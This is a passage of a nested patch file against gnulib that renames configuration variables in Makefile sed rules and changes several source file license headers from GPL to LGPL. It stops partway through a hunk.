++ -e 's/@''GNULIB_EUIDACCESS''@/$(GL_GNULIB_EUIDACCESS)/g' \
++ -e 's/@''GNULIB_EXECL''@/$(GL_GNULIB_EXECL)/g' \
++ -e 's/@''GNULIB_EXECLE''@/$(GL_GNULIB_EXECLE)/g' \
++ -e 's/@''GNULIB_EXECLP''@/$(GL_GNULIB_EXECLP)/g' \
++ -e 's/@''GNULIB_EXECV''@/$(GL_GNULIB_EXECV)/g' \
++ -e 's/@''GNULIB_EXECVE''@/$(GL_GNULIB_EXECVE)/g' \
++ -e 's/@''GNULIB_EXECVP''@/$(GL_GNULIB_EXECVP)/g' \
++ -e 's/@''GNULIB_EXECVPE''@/$(GL_GNULIB_EXECVPE)/g' \
++ -e 's/@''GNULIB_FACCESSAT''@/$(GL_GNULIB_FACCESSAT)/g' \
++ -e 's/@''GNULIB_FCHDIR''@/$(GL_GNULIB_FCHDIR)/g' \
++ -e 's/@''GNULIB_FCHOWNAT''@/$(GL_GNULIB_FCHOWNAT)/g' \
++ -e 's/@''GNULIB_FDATASYNC''@/$(GL_GNULIB_FDATASYNC)/g' \
++ -e 's/@''GNULIB_FSYNC''@/$(GL_GNULIB_FSYNC)/g' \
++ -e 's/@''GNULIB_FTRUNCATE''@/$(GL_GNULIB_FTRUNCATE)/g' \
++ -e 's/@''GNULIB_GETCWD''@/$(GL_GNULIB_GETCWD)/g' \
++ -e 's/@''GNULIB_GETDOMAINNAME''@/$(GL_GNULIB_GETDOMAINNAME)/g' \
++ -e 's/@''GNULIB_GETDTABLESIZE''@/$(GL_GNULIB_GETDTABLESIZE)/g' \
++ -e 's/@''GNULIB_GETENTROPY''@/$(GL_GNULIB_GETENTROPY)/g' \
++ -e 's/@''GNULIB_GETGROUPS''@/$(GL_GNULIB_GETGROUPS)/g' \
++ -e 's/@''GNULIB_GETHOSTNAME''@/$(GL_GNULIB_GETHOSTNAME)/g' \
++ -e 's/@''GNULIB_GETLOGIN''@/$(GL_GNULIB_GETLOGIN)/g' \
++ -e 's/@''GNULIB_GETLOGIN_R''@/$(GL_GNULIB_GETLOGIN_R)/g' \
++ -e 's/@''GNULIB_GETOPT_POSIX''@/$(GL_GNULIB_GETOPT_POSIX)/g' \
++ -e 's/@''GNULIB_GETPAGESIZE''@/$(GL_GNULIB_GETPAGESIZE)/g' \
++ -e 's/@''GNULIB_GETPASS''@/$(GL_GNULIB_GETPASS)/g' \
++ -e 's/@''GNULIB_GETUSERSHELL''@/$(GL_GNULIB_GETUSERSHELL)/g' \
++ -e 's/@''GNULIB_GROUP_MEMBER''@/$(GL_GNULIB_GROUP_MEMBER)/g' \
++ -e 's/@''GNULIB_ISATTY''@/$(GL_GNULIB_ISATTY)/g' \
++ -e 's/@''GNULIB_LCHOWN''@/$(GL_GNULIB_LCHOWN)/g' \
++ -e 's/@''GNULIB_LINK''@/$(GL_GNULIB_LINK)/g' \
++ -e 's/@''GNULIB_LINKAT''@/$(GL_GNULIB_LINKAT)/g' \
++ -e 's/@''GNULIB_LSEEK''@/$(GL_GNULIB_LSEEK)/g' \
++ -e 's/@''GNULIB_PIPE''@/$(GL_GNULIB_PIPE)/g' \
++ -e 's/@''GNULIB_PIPE2''@/$(GL_GNULIB_PIPE2)/g' \
++ -e 's/@''GNULIB_PREAD''@/$(GL_GNULIB_PREAD)/g' \
++ -e 's/@''GNULIB_PWRITE''@/$(GL_GNULIB_PWRITE)/g' \
++ -e 's/@''GNULIB_READ''@/$(GL_GNULIB_READ)/g' \
++ -e 's/@''GNULIB_READLINK''@/$(GL_GNULIB_READLINK)/g' \
++ -e 's/@''GNULIB_READLINKAT''@/$(GL_GNULIB_READLINKAT)/g' \
++ -e 's/@''GNULIB_RMDIR''@/$(GL_GNULIB_RMDIR)/g' \
++ -e 's/@''GNULIB_SETHOSTNAME''@/$(GL_GNULIB_SETHOSTNAME)/g' \
++ -e 's/@''GNULIB_SLEEP''@/$(GL_GNULIB_SLEEP)/g' \
++ -e 's/@''GNULIB_SYMLINK''@/$(GL_GNULIB_SYMLINK)/g' \
++ -e 's/@''GNULIB_SYMLINKAT''@/$(GL_GNULIB_SYMLINKAT)/g' \
++ -e 's/@''GNULIB_TRUNCATE''@/$(GL_GNULIB_TRUNCATE)/g' \
++ -e 's/@''GNULIB_TTYNAME_R''@/$(GL_GNULIB_TTYNAME_R)/g' \
++ -e 's/@''GNULIB_UNISTD_H_GETOPT''@/0$(GL_GNULIB_UNISTD_H_GETOPT)/g' \
++ -e 's/@''GNULIB_UNISTD_H_NONBLOCKING''@/$(GL_GNULIB_UNISTD_H_NONBLOCKING)/g' \
++ -e 's/@''GNULIB_UNISTD_H_SIGPIPE''@/$(GL_GNULIB_UNISTD_H_SIGPIPE)/g' \
++ -e 's/@''GNULIB_UNLINK''@/$(GL_GNULIB_UNLINK)/g' \
++ -e 's/@''GNULIB_UNLINKAT''@/$(GL_GNULIB_UNLINKAT)/g' \
++ -e 's/@''GNULIB_USLEEP''@/$(GL_GNULIB_USLEEP)/g' \
++ -e 's/@''GNULIB_WRITE''@/$(GL_GNULIB_WRITE)/g' \
++ -e 's/@''GNULIB_MDA_ACCESS''@/$(GL_GNULIB_MDA_ACCESS)/g' \
++ -e 's/@''GNULIB_MDA_CHDIR''@/$(GL_GNULIB_MDA_CHDIR)/g' \
++ -e 's/@''GNULIB_MDA_CLOSE''@/$(GL_GNULIB_MDA_CLOSE)/g' \
++ -e 's/@''GNULIB_MDA_DUP''@/$(GL_GNULIB_MDA_DUP)/g' \
++ -e 's/@''GNULIB_MDA_DUP2''@/$(GL_GNULIB_MDA_DUP2)/g' \
++ -e 's/@''GNULIB_MDA_EXECL''@/$(GL_GNULIB_MDA_EXECL)/g' \
++ -e 's/@''GNULIB_MDA_EXECLE''@/$(GL_GNULIB_MDA_EXECLE)/g' \
++ -e 's/@''GNULIB_MDA_EXECLP''@/$(GL_GNULIB_MDA_EXECLP)/g' \
++ -e 's/@''GNULIB_MDA_EXECV''@/$(GL_GNULIB_MDA_EXECV)/g' \
++ -e 's/@''GNULIB_MDA_EXECVE''@/$(GL_GNULIB_MDA_EXECVE)/g' \
++ -e 's/@''GNULIB_MDA_EXECVP''@/$(GL_GNULIB_MDA_EXECVP)/g' \
++ -e 's/@''GNULIB_MDA_EXECVPE''@/$(GL_GNULIB_MDA_EXECVPE)/g' \
++ -e 's/@''GNULIB_MDA_GETCWD''@/$(GL_GNULIB_MDA_GETCWD)/g' \
++ -e 's/@''GNULIB_MDA_GETPID''@/$(GL_GNULIB_MDA_GETPID)/g' \
++ -e 's/@''GNULIB_MDA_ISATTY''@/$(GL_GNULIB_MDA_ISATTY)/g' \
++ -e 's/@''GNULIB_MDA_LSEEK''@/$(GL_GNULIB_MDA_LSEEK)/g' \
++ -e 's/@''GNULIB_MDA_READ''@/$(GL_GNULIB_MDA_READ)/g' \
++ -e 's/@''GNULIB_MDA_RMDIR''@/$(GL_GNULIB_MDA_RMDIR)/g' \
++ -e 's/@''GNULIB_MDA_SWAB''@/$(GL_GNULIB_MDA_SWAB)/g' \
++ -e 's/@''GNULIB_MDA_UNLINK''@/$(GL_GNULIB_MDA_UNLINK)/g' \
++ -e 's/@''GNULIB_MDA_WRITE''@/$(GL_GNULIB_MDA_WRITE)/g' \
+ < $(srcdir)/unistd.in.h | \
+ sed -e 's|@''HAVE_CHOWN''@|$(HAVE_CHOWN)|g' \
+ -e 's|@''HAVE_COPY_FILE_RANGE''@|$(HAVE_COPY_FILE_RANGE)|g' \
+@@ -2080,49 +2196,49 @@ wchar.h: wchar.in.h $(top_builddir)/conf
+ -e 's|@''NEXT_WCHAR_H''@|$(NEXT_WCHAR_H)|g' \
+ -e 's|@''HAVE_WCHAR_H''@|$(HAVE_WCHAR_H)|g' \
+ -e 's/@''HAVE_CRTDEFS_H''@/$(HAVE_CRTDEFS_H)/g' \
+- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \
+- -e 's/@''GNULIB_BTOWC''@/$(GNULIB_BTOWC)/g' \
+- -e 's/@''GNULIB_WCTOB''@/$(GNULIB_WCTOB)/g' \
+- -e 's/@''GNULIB_MBSINIT''@/$(GNULIB_MBSINIT)/g' \
+- -e 's/@''GNULIB_MBRTOWC''@/$(GNULIB_MBRTOWC)/g' \
+- -e 's/@''GNULIB_MBRLEN''@/$(GNULIB_MBRLEN)/g' \
+- -e 's/@''GNULIB_MBSRTOWCS''@/$(GNULIB_MBSRTOWCS)/g' \
+- -e 's/@''GNULIB_MBSNRTOWCS''@/$(GNULIB_MBSNRTOWCS)/g' \
+- -e 's/@''GNULIB_WCRTOMB''@/$(GNULIB_WCRTOMB)/g' \
+- -e 's/@''GNULIB_WCSRTOMBS''@/$(GNULIB_WCSRTOMBS)/g' \
+- -e 's/@''GNULIB_WCSNRTOMBS''@/$(GNULIB_WCSNRTOMBS)/g' \
+- -e 's/@''GNULIB_WCWIDTH''@/$(GNULIB_WCWIDTH)/g' \
+- -e 's/@''GNULIB_WMEMCHR''@/$(GNULIB_WMEMCHR)/g' \
+- -e 's/@''GNULIB_WMEMCMP''@/$(GNULIB_WMEMCMP)/g' \
+- -e 's/@''GNULIB_WMEMCPY''@/$(GNULIB_WMEMCPY)/g' \
+- -e 's/@''GNULIB_WMEMMOVE''@/$(GNULIB_WMEMMOVE)/g' \
+- -e 's/@''GNULIB_WMEMPCPY''@/$(GNULIB_WMEMPCPY)/g' \
+- -e 's/@''GNULIB_WMEMSET''@/$(GNULIB_WMEMSET)/g' \
+- -e 's/@''GNULIB_WCSLEN''@/$(GNULIB_WCSLEN)/g' \
+- -e 's/@''GNULIB_WCSNLEN''@/$(GNULIB_WCSNLEN)/g' \
+- -e 's/@''GNULIB_WCSCPY''@/$(GNULIB_WCSCPY)/g' \
+- -e 's/@''GNULIB_WCPCPY''@/$(GNULIB_WCPCPY)/g' \
+- -e 's/@''GNULIB_WCSNCPY''@/$(GNULIB_WCSNCPY)/g' \
+- -e 's/@''GNULIB_WCPNCPY''@/$(GNULIB_WCPNCPY)/g' \
+- -e 's/@''GNULIB_WCSCAT''@/$(GNULIB_WCSCAT)/g' \
+- -e 's/@''GNULIB_WCSNCAT''@/$(GNULIB_WCSNCAT)/g' \
+- -e 's/@''GNULIB_WCSCMP''@/$(GNULIB_WCSCMP)/g' \
+- -e 's/@''GNULIB_WCSNCMP''@/$(GNULIB_WCSNCMP)/g' \
+- -e 's/@''GNULIB_WCSCASECMP''@/$(GNULIB_WCSCASECMP)/g' \
+- -e 's/@''GNULIB_WCSNCASECMP''@/$(GNULIB_WCSNCASECMP)/g' \
+- -e 's/@''GNULIB_WCSCOLL''@/$(GNULIB_WCSCOLL)/g' \
+- -e 's/@''GNULIB_WCSXFRM''@/$(GNULIB_WCSXFRM)/g' \
+- -e 's/@''GNULIB_WCSDUP''@/$(GNULIB_WCSDUP)/g' \
+- -e 's/@''GNULIB_WCSCHR''@/$(GNULIB_WCSCHR)/g' \
+- -e 's/@''GNULIB_WCSRCHR''@/$(GNULIB_WCSRCHR)/g' \
+- -e 's/@''GNULIB_WCSCSPN''@/$(GNULIB_WCSCSPN)/g' \
+- -e 's/@''GNULIB_WCSSPN''@/$(GNULIB_WCSSPN)/g' \
+- -e 's/@''GNULIB_WCSPBRK''@/$(GNULIB_WCSPBRK)/g' \
+- -e 's/@''GNULIB_WCSSTR''@/$(GNULIB_WCSSTR)/g' \
+- -e 's/@''GNULIB_WCSTOK''@/$(GNULIB_WCSTOK)/g' \
+- -e 's/@''GNULIB_WCSWIDTH''@/$(GNULIB_WCSWIDTH)/g' \
+- -e 's/@''GNULIB_WCSFTIME''@/$(GNULIB_WCSFTIME)/g' \
+- -e 's/@''GNULIB_MDA_WCSDUP''@/$(GNULIB_MDA_WCSDUP)/g' \
++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \
++ -e 's/@''GNULIB_BTOWC''@/$(GL_GNULIB_BTOWC)/g' \
++ -e 's/@''GNULIB_WCTOB''@/$(GL_GNULIB_WCTOB)/g' \
++ -e 's/@''GNULIB_MBSINIT''@/$(GL_GNULIB_MBSINIT)/g' \
++ -e 's/@''GNULIB_MBRTOWC''@/$(GL_GNULIB_MBRTOWC)/g' \
++ -e 's/@''GNULIB_MBRLEN''@/$(GL_GNULIB_MBRLEN)/g' \
++ -e 's/@''GNULIB_MBSRTOWCS''@/$(GL_GNULIB_MBSRTOWCS)/g' \
++ -e 's/@''GNULIB_MBSNRTOWCS''@/$(GL_GNULIB_MBSNRTOWCS)/g' \
++ -e 's/@''GNULIB_WCRTOMB''@/$(GL_GNULIB_WCRTOMB)/g' \
++ -e 's/@''GNULIB_WCSRTOMBS''@/$(GL_GNULIB_WCSRTOMBS)/g' \
++ -e 's/@''GNULIB_WCSNRTOMBS''@/$(GL_GNULIB_WCSNRTOMBS)/g' \
++ -e 's/@''GNULIB_WCWIDTH''@/$(GL_GNULIB_WCWIDTH)/g' \
++ -e 's/@''GNULIB_WMEMCHR''@/$(GL_GNULIB_WMEMCHR)/g' \
++ -e 's/@''GNULIB_WMEMCMP''@/$(GL_GNULIB_WMEMCMP)/g' \
++ -e 's/@''GNULIB_WMEMCPY''@/$(GL_GNULIB_WMEMCPY)/g' \
++ -e 's/@''GNULIB_WMEMMOVE''@/$(GL_GNULIB_WMEMMOVE)/g' \
++ -e 's/@''GNULIB_WMEMPCPY''@/$(GL_GNULIB_WMEMPCPY)/g' \
++ -e 's/@''GNULIB_WMEMSET''@/$(GL_GNULIB_WMEMSET)/g' \
++ -e 's/@''GNULIB_WCSLEN''@/$(GL_GNULIB_WCSLEN)/g' \
++ -e 's/@''GNULIB_WCSNLEN''@/$(GL_GNULIB_WCSNLEN)/g' \
++ -e 's/@''GNULIB_WCSCPY''@/$(GL_GNULIB_WCSCPY)/g' \
++ -e 's/@''GNULIB_WCPCPY''@/$(GL_GNULIB_WCPCPY)/g' \
++ -e 's/@''GNULIB_WCSNCPY''@/$(GL_GNULIB_WCSNCPY)/g' \
++ -e 's/@''GNULIB_WCPNCPY''@/$(GL_GNULIB_WCPNCPY)/g' \
++ -e 's/@''GNULIB_WCSCAT''@/$(GL_GNULIB_WCSCAT)/g' \
++ -e 's/@''GNULIB_WCSNCAT''@/$(GL_GNULIB_WCSNCAT)/g' \
++ -e 's/@''GNULIB_WCSCMP''@/$(GL_GNULIB_WCSCMP)/g' \
++ -e 's/@''GNULIB_WCSNCMP''@/$(GL_GNULIB_WCSNCMP)/g' \
++ -e 's/@''GNULIB_WCSCASECMP''@/$(GL_GNULIB_WCSCASECMP)/g' \
++ -e 's/@''GNULIB_WCSNCASECMP''@/$(GL_GNULIB_WCSNCASECMP)/g' \
++ -e 's/@''GNULIB_WCSCOLL''@/$(GL_GNULIB_WCSCOLL)/g' \
++ -e 's/@''GNULIB_WCSXFRM''@/$(GL_GNULIB_WCSXFRM)/g' \
++ -e 's/@''GNULIB_WCSDUP''@/$(GL_GNULIB_WCSDUP)/g' \
++ -e 's/@''GNULIB_WCSCHR''@/$(GL_GNULIB_WCSCHR)/g' \
++ -e 's/@''GNULIB_WCSRCHR''@/$(GL_GNULIB_WCSRCHR)/g' \
++ -e 's/@''GNULIB_WCSCSPN''@/$(GL_GNULIB_WCSCSPN)/g' \
++ -e 's/@''GNULIB_WCSSPN''@/$(GL_GNULIB_WCSSPN)/g' \
++ -e 's/@''GNULIB_WCSPBRK''@/$(GL_GNULIB_WCSPBRK)/g' \
++ -e 's/@''GNULIB_WCSSTR''@/$(GL_GNULIB_WCSSTR)/g' \
++ -e 's/@''GNULIB_WCSTOK''@/$(GL_GNULIB_WCSTOK)/g' \
++ -e 's/@''GNULIB_WCSWIDTH''@/$(GL_GNULIB_WCSWIDTH)/g' \
++ -e 's/@''GNULIB_WCSFTIME''@/$(GL_GNULIB_WCSFTIME)/g' \
++ -e 's/@''GNULIB_MDA_WCSDUP''@/$(GL_GNULIB_MDA_WCSDUP)/g' \
+ < $(srcdir)/wchar.in.h | \
+ sed -e 's|@''HAVE_WINT_T''@|$(HAVE_WINT_T)|g' \
+ -e 's|@''HAVE_BTOWC''@|$(HAVE_BTOWC)|g' \
+@@ -2222,14 +2338,14 @@ wctype.h: wctype.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_WCTYPE_H''@|$(NEXT_WCTYPE_H)|g' \
+ -e 's/@''HAVE_CRTDEFS_H''@/$(HAVE_CRTDEFS_H)/g' \
+- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \
+- -e 's/@''GNULIB_ISWBLANK''@/$(GNULIB_ISWBLANK)/g' \
+- -e 's/@''GNULIB_ISWDIGIT''@/$(GNULIB_ISWDIGIT)/g' \
+- -e 's/@''GNULIB_ISWXDIGIT''@/$(GNULIB_ISWXDIGIT)/g' \
+- -e 's/@''GNULIB_WCTYPE''@/$(GNULIB_WCTYPE)/g' \
+- -e 's/@''GNULIB_ISWCTYPE''@/$(GNULIB_ISWCTYPE)/g' \
+- -e 's/@''GNULIB_WCTRANS''@/$(GNULIB_WCTRANS)/g' \
+- -e 's/@''GNULIB_TOWCTRANS''@/$(GNULIB_TOWCTRANS)/g' \
++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \
++ -e 's/@''GNULIB_ISWBLANK''@/$(GL_GNULIB_ISWBLANK)/g' \
++ -e 's/@''GNULIB_ISWDIGIT''@/$(GL_GNULIB_ISWDIGIT)/g' \
++ -e 's/@''GNULIB_ISWXDIGIT''@/$(GL_GNULIB_ISWXDIGIT)/g' \
++ -e 's/@''GNULIB_WCTYPE''@/$(GL_GNULIB_WCTYPE)/g' \
++ -e 's/@''GNULIB_ISWCTYPE''@/$(GL_GNULIB_ISWCTYPE)/g' \
++ -e 's/@''GNULIB_WCTRANS''@/$(GL_GNULIB_WCTRANS)/g' \
++ -e 's/@''GNULIB_TOWCTRANS''@/$(GL_GNULIB_TOWCTRANS)/g' \
+ -e 's/@''HAVE_ISWBLANK''@/$(HAVE_ISWBLANK)/g' \
+ -e 's/@''HAVE_ISWCNTRL''@/$(HAVE_ISWCNTRL)/g' \
+ -e 's/@''HAVE_WCTYPE_T''@/$(HAVE_WCTYPE_T)/g' \
+--- a/gnulib/lib/_Noreturn.h
++++ b/gnulib/lib/_Noreturn.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _Noreturn
+--- a/gnulib/lib/alloca.in.h
++++ b/gnulib/lib/alloca.in.h
+@@ -3,20 +3,18 @@
+ Copyright (C) 1995, 1999, 2001-2004, 2006-2021 Free Software Foundation,
+ Inc.
+
+- This program is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with this program; if not, see
+- <https://www.gnu.org/licenses/>.
+- */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Avoid using the symbol _ALLOCA_H here, as Bison assumes _ALLOCA_H
+ means there is a real alloca function. */
+--- a/gnulib/lib/arg-nonnull.h
++++ b/gnulib/lib/arg-nonnull.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* _GL_ARG_NONNULL((n,...,m)) tells the compiler and static analyzer tools
+--- a/gnulib/lib/argz.c
++++ b/gnulib/lib/argz.c
+@@ -3,18 +3,18 @@
+ Foundation, Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/argz.in.h
++++ b/gnulib/lib/argz.in.h
+@@ -3,17 +3,17 @@
+ Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _ARGZ_H
+--- a/gnulib/lib/asnprintf.c
++++ b/gnulib/lib/asnprintf.c
+@@ -1,18 +1,18 @@
+ /* Formatted output to strings.
+ Copyright (C) 1999, 2002, 2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/asprintf.c
++++ b/gnulib/lib/asprintf.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002, 2006-2007, 2009-2021 Free Software Foundation,
+ Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/attribute.h
++++ b/gnulib/lib/attribute.h
+@@ -2,17 +2,17 @@
+
+ Copyright 2020-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert. */
+--- a/gnulib/lib/basename-lgpl.c
++++ b/gnulib/lib/basename-lgpl.c
+@@ -3,17 +3,17 @@
+ Copyright (C) 1990, 1998-2001, 2003-2006, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/basename-lgpl.h
++++ b/gnulib/lib/basename-lgpl.h
+@@ -1,20 +1,20 @@
+-/* Extract the last component (base name) of a file name.
++/* Extract the last component (base name) of a file name.
+
+- Copyright (C) 1998, 2001, 2003-2006, 2009-2021 Free Software Foundation,
+- Inc.
++ Copyright (C) 1998, 2001, 2003-2006, 2009-2021 Free Software Foundation,
++ Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program. If not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _BASENAME_LGPL_H
+ #define _BASENAME_LGPL_H
+--- a/gnulib/lib/btowc.c
++++ b/gnulib/lib/btowc.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008, 2010-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
